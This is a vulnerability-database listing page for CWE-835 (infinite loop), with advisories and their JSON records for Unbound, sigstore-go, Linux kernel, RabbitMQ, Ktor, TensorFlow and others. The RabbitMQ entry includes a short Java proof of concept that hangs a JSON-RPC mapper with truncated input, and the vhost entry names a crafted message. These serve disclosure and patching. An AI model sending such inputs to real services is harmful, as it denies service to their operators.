CWE-835
AllowedLoop with Unreachable Exit Condition ('Infinite Loop')
Abstraction: Base · Status: Incomplete
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
1314 vulnerabilities reference this CWE, most recent first.
GHSA-CQ2J-HRGF-RXGP
Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2024-03-21 03:34Unbound before 1.9.5 allows an infinite loop via a compressed name in dname_pkt_copy.
{
"affected": [],
"aliases": [
"CVE-2019-25040"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-27T06:15:00Z",
"severity": "HIGH"
},
"details": "Unbound before 1.9.5 allows an infinite loop via a compressed name in dname_pkt_copy.",
"id": "GHSA-cq2j-hrgf-rxgp",
"modified": "2024-03-21T03:34:04Z",
"published": "2022-05-24T17:48:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25040"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/05/msg00007.html"
},
{
"type": "WEB",
"url": "https://ostif.org/our-audit-of-unbound-dns-by-x41-d-sec-full-results"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210507-0007"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CQ38-JH5F-37MQ
Vulnerability from github – Published: 2024-09-04 20:18 – Updated: 2024-09-04 21:34Impact
sigstore-go is susceptible to a denial of service attack when a verifier is provided a maliciously crafted Sigstore Bundle containing large amounts of verifiable data, in the form of signed transparency log entries, RFC 3161 timestamps, and attestation subjects. The verification of these data structures is computationally expensive. This can be used to consume excessive CPU resources, leading to a denial of service attack. TUF's security model labels this type of vulnerability an "Endless data attack," and can lead to verification failing to complete and disrupting services that rely on sigstore-go for verification.
The vulnerable loops are in the verification functions in the package github.com/sigstore/sigstore-go/pkg/verify. The first is the DSSE envelope verification loop in verifyEnvelopeWithArtifact, which decodes all the digests in an attestation can be found here:
https://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/signature.go#L183-L193
The next loop is in the VerifyArtifactTransparencyLog function, which verifies all the signed entries in a bundle:
https://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/tlog.go#L74-L178
The next loop is the VerifyTimestampAuthority function, which verifies all the RFC 3161 timestamps in a bundle:
https://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/tsa.go#L59-L68
Patches
This vulnerability is addressed with sigstore-go 0.6.1, which adds hard limits to the number of verifiable data structures that can be processed in a bundle. Verification will fail if a bundle has data that exceeds these limits. The limits are:
- 32 signed transparency log entries
- 32 RFC 3161 timestamps
- 1024 attestation subjects
- 32 digests per attestation subject
These limits are intended to be high enough to accommodate the vast majority of use cases, while preventing the verification of maliciously crafted bundles that contain large amounts of verifiable data.
Workarounds
The best way to mitigate the risk is to upgrade to sigstore-go 0.6.1 or later. Users who are vulnerable but unable to quickly upgrade may consider adding manual bundle validation to enforce limits similar to those in the referenced patch prior to calling sigstore-go's verification functions.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/sigstore/sigstore-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45395"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-04T20:18:18Z",
"nvd_published_at": "2024-09-04T21:15:14Z",
"severity": "LOW"
},
"details": "### Impact\n\nsigstore-go is susceptible to a denial of service attack when a verifier is provided a maliciously crafted Sigstore Bundle containing large amounts of verifiable data, in the form of signed transparency log entries, RFC 3161 timestamps, and attestation subjects. The verification of these data structures is computationally expensive. This can be used to consume excessive CPU resources, leading to a denial of service attack. TUF\u0027s security model labels this type of vulnerability an \"Endless data attack,\" and can lead to verification failing to complete and disrupting services that rely on sigstore-go for verification.\n\nThe vulnerable loops are in the verification functions in the package `github.com/sigstore/sigstore-go/pkg/verify`. The first is the DSSE envelope verification loop in `verifyEnvelopeWithArtifact`, which decodes all the digests in an attestation can be found here:\n\nhttps://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/signature.go#L183-L193\n\nThe next loop is in the `VerifyArtifactTransparencyLog` function, which verifies all the signed entries in a bundle:\n\nhttps://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/tlog.go#L74-L178\n\nThe next loop is the `VerifyTimestampAuthority` function, which verifies all the RFC 3161 timestamps in a bundle:\n\nhttps://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/tsa.go#L59-L68\n\n### Patches\n\nThis vulnerability is addressed with sigstore-go 0.6.1, which adds hard limits to the number of verifiable data structures that can be processed in a bundle. Verification will fail if a bundle has data that exceeds these limits. The limits are:\n\n- 32 signed transparency log entries\n- 32 RFC 3161 timestamps\n- 1024 attestation subjects\n- 32 digests per attestation subject\n\nThese limits are intended to be high enough to accommodate the vast majority of use cases, while preventing the verification of maliciously crafted bundles that contain large amounts of verifiable data.\n\n### Workarounds\n\nThe best way to mitigate the risk is to upgrade to sigstore-go 0.6.1 or later. Users who are vulnerable but unable to quickly upgrade may consider adding manual bundle validation to enforce limits similar to those in the referenced patch prior to calling sigstore-go\u0027s verification functions.\n",
"id": "GHSA-cq38-jh5f-37mq",
"modified": "2024-09-04T21:34:54Z",
"published": "2024-09-04T20:18:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sigstore/sigstore-go/security/advisories/GHSA-cq38-jh5f-37mq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45395"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/sigstore-go/commit/01e70e89e58226286d7977b4dba43b6be472b12c"
},
{
"type": "PACKAGE",
"url": "https://github.com/sigstore/sigstore-go"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/signature.go#L183-L193"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/tlog.go#L74-L178"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/sigstore-go/blob/725e508ed4933e6f5b5206e32af4bbe76f587b54/pkg/verify/tsa.go#L59-L68"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "sigstore-go has an unbounded loop over untrusted input can lead to endless data attack"
}
GHSA-CQ9M-7482-XQ9J
Vulnerability from github – Published: 2025-03-12 12:30 – Updated: 2025-03-13 18:32In the Linux kernel, the following vulnerability has been resolved:
nvmet: Fix crash when a namespace is disabled
The namespace percpu counter protects pending I/O, and we can only safely diable the namespace once the counter drop to zero. Otherwise we end up with a crash when running blktests/nvme/058 (eg for loop transport):
[ 2352.930426] [ T53909] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000005: 0000 [#1] PREEMPT SMP KASAN PTI [ 2352.930431] [ T53909] KASAN: null-ptr-deref in range [0x0000000000000028-0x000000000000002f] [ 2352.930434] [ T53909] CPU: 3 UID: 0 PID: 53909 Comm: kworker/u16:5 Tainted: G W 6.13.0-rc6 #232 [ 2352.930438] [ T53909] Tainted: [W]=WARN [ 2352.930440] [ T53909] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-3.fc41 04/01/2014 [ 2352.930443] [ T53909] Workqueue: nvmet-wq nvme_loop_execute_work [nvme_loop] [ 2352.930449] [ T53909] RIP: 0010:blkcg_set_ioprio+0x44/0x180
as the queue is already torn down when calling submit_bio();
So we need to init the percpu counter in nvmet_ns_enable(), and wait for it to drop to zero in nvmet_ns_disable() to avoid having I/O pending after the namespace has been disabled.
{
"affected": [],
"aliases": [
"CVE-2025-21850"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-12T10:15:17Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet: Fix crash when a namespace is disabled\n\nThe namespace percpu counter protects pending I/O, and we can\nonly safely diable the namespace once the counter drop to zero.\nOtherwise we end up with a crash when running blktests/nvme/058\n(eg for loop transport):\n\n[ 2352.930426] [ T53909] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000005: 0000 [#1] PREEMPT SMP KASAN PTI\n[ 2352.930431] [ T53909] KASAN: null-ptr-deref in range [0x0000000000000028-0x000000000000002f]\n[ 2352.930434] [ T53909] CPU: 3 UID: 0 PID: 53909 Comm: kworker/u16:5 Tainted: G W 6.13.0-rc6 #232\n[ 2352.930438] [ T53909] Tainted: [W]=WARN\n[ 2352.930440] [ T53909] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-3.fc41 04/01/2014\n[ 2352.930443] [ T53909] Workqueue: nvmet-wq nvme_loop_execute_work [nvme_loop]\n[ 2352.930449] [ T53909] RIP: 0010:blkcg_set_ioprio+0x44/0x180\n\nas the queue is already torn down when calling submit_bio();\n\nSo we need to init the percpu counter in nvmet_ns_enable(), and\nwait for it to drop to zero in nvmet_ns_disable() to avoid having\nI/O pending after the namespace has been disabled.",
"id": "GHSA-cq9m-7482-xq9j",
"modified": "2025-03-13T18:32:21Z",
"published": "2025-03-12T12:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21850"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/4082326807072b71496501b6a0c55ffe8d5092a5"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/cc0607594f6813342b27c752c6fb6f6eb9980cb5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CQC3-8MFM-84P4
Vulnerability from github – Published: 2024-07-16 15:30 – Updated: 2024-07-23 15:31In the Linux kernel, the following vulnerability has been resolved:
vhost: fix hung thread due to erroneous iotlb entries
In vhost_iotlb_add_range_ctx(), range size can overflow to 0 when start is 0 and last is ULONG_MAX. One instance where it can happen is when userspace sends an IOTLB message with iova=size=uaddr=0 (vhost_process_iotlb_msg). So, an entry with size = 0, start = 0, last = ULONG_MAX ends up in the iotlb. Next time a packet is sent, iotlb_access_ok() loops indefinitely due to that erroneous entry.
Call Trace:
<TASK>
iotlb_access_ok+0x21b/0x3e0 drivers/vhost/vhost.c:1340
vq_meta_prefetch+0xbc/0x280 drivers/vhost/vhost.c:1366
vhost_transport_do_send_pkt+0xe0/0xfd0 drivers/vhost/vsock.c:104
vhost_worker+0x23d/0x3d0 drivers/vhost/vhost.c:372
kthread+0x2e9/0x3a0 kernel/kthread.c:377
ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:295
</TASK>
Reported by syzbot at: https://syzkaller.appspot.com/bug?extid=0abd373e2e50d704db87
To fix this, do two things:
- Return -EINVAL in vhost_chr_write_iter() when userspace asks to map a range with size 0.
- Fix vhost_iotlb_add_range_ctx() to handle the range [0, ULONG_MAX] by splitting it into two entries.
{
"affected": [],
"aliases": [
"CVE-2022-48862"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-16T13:15:13Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nvhost: fix hung thread due to erroneous iotlb entries\n\nIn vhost_iotlb_add_range_ctx(), range size can overflow to 0 when\nstart is 0 and last is ULONG_MAX. One instance where it can happen\nis when userspace sends an IOTLB message with iova=size=uaddr=0\n(vhost_process_iotlb_msg). So, an entry with size = 0, start = 0,\nlast = ULONG_MAX ends up in the iotlb. Next time a packet is sent,\niotlb_access_ok() loops indefinitely due to that erroneous entry.\n\n\tCall Trace:\n\t \u003cTASK\u003e\n\t iotlb_access_ok+0x21b/0x3e0 drivers/vhost/vhost.c:1340\n\t vq_meta_prefetch+0xbc/0x280 drivers/vhost/vhost.c:1366\n\t vhost_transport_do_send_pkt+0xe0/0xfd0 drivers/vhost/vsock.c:104\n\t vhost_worker+0x23d/0x3d0 drivers/vhost/vhost.c:372\n\t kthread+0x2e9/0x3a0 kernel/kthread.c:377\n\t ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:295\n\t \u003c/TASK\u003e\n\nReported by syzbot at:\n\thttps://syzkaller.appspot.com/bug?extid=0abd373e2e50d704db87\n\nTo fix this, do two things:\n\n1. Return -EINVAL in vhost_chr_write_iter() when userspace asks to map\n a range with size 0.\n2. Fix vhost_iotlb_add_range_ctx() to handle the range [0, ULONG_MAX]\n by splitting it into two entries.",
"id": "GHSA-cqc3-8mfm-84p4",
"modified": "2024-07-23T15:31:08Z",
"published": "2024-07-16T15:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48862"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/d9a747e6b6561280bf1791bb24c5e9e082193dad"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e2ae38cf3d91837a493cb2093c87700ff3cbe667"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f8d88e86e90ea1002226d7ac2430152bfea003d1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CQGH-8P3P-MX4M
Vulnerability from github – Published: 2026-10-07 20:42 – Updated: 2026-10-07 20:42Summary
com.rabbitmq.tools.json.JSONReader.read() never returns when its input ends inside a quoted string or a // line comment. Both scanners walk the input with StringCharacterIterator.next() but only compare against a delimiter, so once the iterator reaches CharacterIterator.DONE () they loop forever. The string scanner (string(), line 210, while (c != sep)) also appends to a StringBuilder every iteration, so it fills the heap and throws OutOfMemoryError, taking down the JVM. The comment scanner (skipWhiteSpace(), lines 89-92, while (c != '\n')) pins a thread at 100% CPU with no allocation.
This is reachable with a single message. JsonRpcServer and JsonRpcClient fall back to DefaultJsonRpcMapper whenever no mapper is passed (JsonRpcServer.java:84 and :114, JsonRpcClient.java:186), and that mapper hands the raw message body straight to JSONReader.read() (DefaultJsonRpcMapper.java:42 for the server request, :52 for the client reply). A caller that can publish to the RPC request queue hangs the server; a malicious or MITM'd JSON-RPC service does the same to a client.
Proof of concept
Against amqp-client 5.36.0 from Maven Central:
import com.rabbitmq.tools.jsonrpc.DefaultJsonRpcMapper;
public class Poc {
public static void main(String[] args) {
DefaultJsonRpcMapper mapper = new DefaultJsonRpcMapper();
mapper.parse("{\"method\":\"x", String.class); // unterminated string
// mapper.parse("//", String.class); // unterminated // comment
System.out.println("unreachable");
}
}
java -Xmx64m -cp amqp-client-5.36.0.jar:. Poc throws OutOfMemoryError: Java heap space in about 0.1s and never prints. Swapping in the // line spins at 100% CPU and never returns. A well-formed body such as {"method":"x"} returns immediately.
Impact
Availability. One small, unauthenticated message stops a JSON-RPC endpoint: the unterminated string exhausts the heap, the unterminated comment pins a thread forever. Neither is recoverable per request - JsonRpcServer.doCall only catches ClassCastException, and an OutOfMemoryError affects the whole process.
Scope and fix
Only applications using the JSON-RPC-over-AMQP tooling (com.rabbitmq.tools.jsonrpc) with the default DefaultJsonRpcMapper are affected. DefaultJsonRpcMapper and JSONReader are deprecated in favour of JacksonJsonRpcMapper, but both still ship and remain the default when no mapper is supplied. The fix is to stop both loops at CharacterIterator.DONE.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.36.0"
},
"package": {
"ecosystem": "Maven",
"name": "com.rabbitmq:amqp-client"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.36.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106121"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T20:42:33Z",
"nvd_published_at": "2026-10-06T19:17:43Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`com.rabbitmq.tools.json.JSONReader.read()` never returns when its input ends inside a quoted string or a `//` line comment. Both scanners walk the input with `StringCharacterIterator.next()` but only compare against a delimiter, so once the iterator reaches `CharacterIterator.DONE` (`\uffff`) they loop forever. The string scanner (`string()`, line 210, `while (c != sep)`) also appends `\uffff` to a `StringBuilder` every iteration, so it fills the heap and throws `OutOfMemoryError`, taking down the JVM. The comment scanner (`skipWhiteSpace()`, lines 89-92, `while (c != \u0027\\n\u0027)`) pins a thread at 100% CPU with no allocation.\n\nThis is reachable with a single message. `JsonRpcServer` and `JsonRpcClient` fall back to `DefaultJsonRpcMapper` whenever no mapper is passed (`JsonRpcServer.java:84` and `:114`, `JsonRpcClient.java:186`), and that mapper hands the raw message body straight to `JSONReader.read()` (`DefaultJsonRpcMapper.java:42` for the server request, `:52` for the client reply). A caller that can publish to the RPC request queue hangs the server; a malicious or MITM\u0027d JSON-RPC service does the same to a client.\n\n## Proof of concept\n\nAgainst `amqp-client` 5.36.0 from Maven Central:\n\n```java\nimport com.rabbitmq.tools.jsonrpc.DefaultJsonRpcMapper;\n\npublic class Poc {\n public static void main(String[] args) {\n DefaultJsonRpcMapper mapper = new DefaultJsonRpcMapper();\n mapper.parse(\"{\\\"method\\\":\\\"x\", String.class); // unterminated string\n // mapper.parse(\"//\", String.class); // unterminated // comment\n System.out.println(\"unreachable\");\n }\n}\n```\n\n`java -Xmx64m -cp amqp-client-5.36.0.jar:. Poc` throws `OutOfMemoryError: Java heap space` in about 0.1s and never prints. Swapping in the `//` line spins at 100% CPU and never returns. A well-formed body such as `{\"method\":\"x\"}` returns immediately.\n\n## Impact\n\nAvailability. One small, unauthenticated message stops a JSON-RPC endpoint: the unterminated string exhausts the heap, the unterminated comment pins a thread forever. Neither is recoverable per request - `JsonRpcServer.doCall` only catches `ClassCastException`, and an `OutOfMemoryError` affects the whole process.\n\n## Scope and fix\n\nOnly applications using the JSON-RPC-over-AMQP tooling (`com.rabbitmq.tools.jsonrpc`) with the default `DefaultJsonRpcMapper` are affected. `DefaultJsonRpcMapper` and `JSONReader` are deprecated in favour of `JacksonJsonRpcMapper`, but both still ship and remain the default when no mapper is supplied. The fix is to stop both loops at `CharacterIterator.DONE`.",
"id": "GHSA-cqgh-8p3p-mx4m",
"modified": "2026-10-07T20:42:33Z",
"published": "2026-10-07T20:42:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-cqgh-8p3p-mx4m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106121"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/pull/2100"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/commit/25fad817291feff3195c32620117d295598f8b41"
},
{
"type": "PACKAGE",
"url": "https://github.com/rabbitmq/rabbitmq-java-client"
},
{
"type": "WEB",
"url": "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.37.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "RabbitMQ: JSONReader in the default JSON-RPC mapper never terminates on truncated input, causing DoS"
}
GHSA-CW22-F535-MJJW
Vulnerability from github – Published: 2026-08-17 18:31 – Updated: 2026-08-17 18:31In JetBrains Ktor before 3.4.1 potential DoS attack via WebSocket decompression was possible
{
"affected": [],
"aliases": [
"CVE-2026-68762"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-17T16:17:30Z",
"severity": "MODERATE"
},
"details": "In JetBrains Ktor before 3.4.1 potential DoS attack via WebSocket decompression was possible",
"id": "GHSA-cw22-f535-mjjw",
"modified": "2026-08-17T18:31:17Z",
"published": "2026-08-17T18:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68762"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CW9G-QWF2-42HW
Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2022-05-24 19:10In Contiki 3.0, potential nonterminating acknowledgment loops exist in the Telnet service. When the negotiated options are already disabled, servers still respond to DONT and WONT requests with WONT or DONT commands, which may lead to infinite acknowledgment loops, denial of service, and excessive CPU consumption.
{
"affected": [],
"aliases": [
"CVE-2021-38311"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-09T22:15:00Z",
"severity": "HIGH"
},
"details": "In Contiki 3.0, potential nonterminating acknowledgment loops exist in the Telnet service. When the negotiated options are already disabled, servers still respond to DONT and WONT requests with WONT or DONT commands, which may lead to infinite acknowledgment loops, denial of service, and excessive CPU consumption.",
"id": "GHSA-cw9g-qwf2-42hw",
"modified": "2022-05-24T19:10:37Z",
"published": "2022-05-24T19:10:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38311"
},
{
"type": "WEB",
"url": "https://github.com/contiki-os/contiki/issues/2685"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CWV3-863G-39VX
Vulnerability from github – Published: 2021-05-21 14:26 – Updated: 2024-10-31 21:22Impact
TFlite graphs must not have loops between nodes. However, this condition was not checked and an attacker could craft models that would result in infinite loop during evaluation. In certain cases, the infinite loop would be replaced by stack overflow due to too many recursive calls.
For example, the While implementation could be tricked into a scneario where both the body and the loop subgraphs are the same. Evaluating one of the subgraphs means calling the Eval function for the other and this quickly exhaust all stack space.
Patches
We have patched the issue in GitHub commit 9c1dc920d8ffb4893d6c9d27d1f039607b326743 (for the While operator) and in GitHub commit c6173f5fe66cdbab74f4f869311fe6aae2ba35f4 (in general).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-29591"
],
"database_specific": {
"cwe_ids": [
"CWE-674",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-18T16:46:07Z",
"nvd_published_at": "2021-05-14T20:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nTFlite graphs must not have loops between nodes. However, this condition was not checked and an attacker could craft models that would result in infinite loop during evaluation. In certain cases, the infinite loop would be replaced by stack overflow due to too many recursive calls.\n\nFor example, the [`While` implementation](https://github.com/tensorflow/tensorflow/blob/106d8f4fb89335a2c52d7c895b7a7485465ca8d9/tensorflow/lite/kernels/while.cc) could be tricked into a scneario where both the body and the loop subgraphs are the same. Evaluating one of the subgraphs means calling the `Eval` function for the other and this quickly exhaust all stack space.\n \n### Patches \nWe have patched the issue in GitHub commit [9c1dc920d8ffb4893d6c9d27d1f039607b326743](https://github.com/tensorflow/tensorflow/commit/9c1dc920d8ffb4893d6c9d27d1f039607b326743) (for the `While` operator) and in GitHub commit [c6173f5fe66cdbab74f4f869311fe6aae2ba35f4](https://github.com/tensorflow/tensorflow/commit/c6173f5fe66cdbab74f4f869311fe6aae2ba35f4) (in general).\n \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.",
"id": "GHSA-cwv3-863g-39vx",
"modified": "2024-10-31T21:22:52Z",
"published": "2021-05-21T14:26:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cwv3-863g-39vx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29591"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/9c1dc920d8ffb4893d6c9d27d1f039607b326743"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/c6173f5fe66cdbab74f4f869311fe6aae2ba35f4"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-519.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-717.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-228.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/blob/106d8f4fb89335a2c52d7c895b7a7485465ca8d9/tensorflow/lite/kernels/while.cc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Stack overflow due to looping TFLite subgraph"
}
GHSA-CXQW-29JQ-PCJV
Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-05-24 17:44A vulnerability has been identified in SIMATIC S7-PLCSIM V5.4 (All versions). An attacker with local access to the system could cause a Denial-of-Service condition in the application when it is used to open a specially crafted file. As a consequence, the application could enter an infinite loop, become unresponsive and must be restarted to restore the service.
{
"affected": [],
"aliases": [
"CVE-2021-25673"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
